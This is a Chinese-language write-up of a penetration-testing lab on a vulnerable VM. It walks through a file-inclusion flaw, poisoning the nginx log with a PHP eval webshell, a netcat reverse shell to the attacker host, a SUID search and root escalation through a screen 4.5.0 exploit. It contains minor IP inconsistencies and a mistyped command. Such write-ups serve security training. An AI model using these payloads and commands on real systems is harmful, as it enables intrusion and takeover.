0x001信息收集
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下:
可判断出靶机的ip为192.168.88.130,接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.88.129,开了两个端口80和111
浏览器访问目标地址的80端口
四处翻看一下,发现contact页面可以填信息,想着能不能上传木马,先随便写写看看有什么变化,发现提交之前还是2019,提交之后就变成了2018。然后刷新试试,发现不停地在变化。
这里面有一个传参动作,burp suite抓包看看,猜测可能存在独立的脚本文件,而这个文件被包含在了这个页面中,猜测存在文件包含漏洞。
0x002漏洞检测
发送到repeater,看看返回数据,不断点击,发现footer不断变化,说明这里可能存在一个独立的脚本文件,猜测是footer文件,这里其实也可以使用目录扫描工具扫描的,比如御剑。
说明是存在文件包含漏洞的。其实包含文件就这么几个,一一测试一下即可.当然也可以发送到intruder中进行标记,然后跑目录字典,实际来说,还是有要一个强大的目录字典,配合目录扫描工具(burpsuit也可以的)猜解的。
0x003漏洞验证
现在是确定存在文件包含漏洞了,接下来就要验证该漏洞如何利用了。改变访问路径为thankyou.php?file=/etc/passwd ,可以看到passwd文件在下侧显示了。
为了验证后续输入命令是否生效,我们可以先查看ngnix的日志,已知对于配置了nginx的网站,无论网站有什么操作,都会被记录在/var/log/nginx/access.log和/var/log/nginx/error.log里面。
file=/var/log/nginx/access.log&zyh <?php @eval($_POST[123]);?>
0x005反弹shell
木马文件已经上传,接下来可以利用中国蚁剑或者其他网站管理工具连接访问,我采用的是中国蚁剑。
再接下来进行反弹shell操作,首先在kali上开启监听,然后利用中国蚁剑打开网站的虚拟终端,反弹shell到我们的kali上,
指令:ne 192.168.190.128 6666 -e /bin/bash。
成功以后开启shell交互,命令:python -c “import pty;pty.spawn(‘/bin/bash’)”
接下来找找看是否存在特殊权限的指令,指令:find / -perm -4000 2>/dev/null,发现screen-4.5.0比较可疑,这可能是一个第三方插件。
0x006漏洞利用
尝试用searchsploit搜索是否存在漏洞。
按照文件的说明,可分为三部分,将第一个框里内容保存为第一文件,名为libhax.c,编译结束会生成libhax.so文件。
同样地,第二个框里内容保存为rootshell.c文件,编译结束后生成rootshell文件。
将第三个框里内容保存为第三个文件,命名随意,我这里保存为run.sh。
编译好结束之后,将libhax.so,rootshell,run.sh上传至靶机的tmp目录下,上传的方式有很多,我直接采用中国蚁剑上传。
0x007提权
上传成功的目录:
可以看到有screens文件,然后输入bash ./run.sh
编译成功,如果出现编译版本问题的错误,那么就直接上传到靶机再编译。
查看用户权限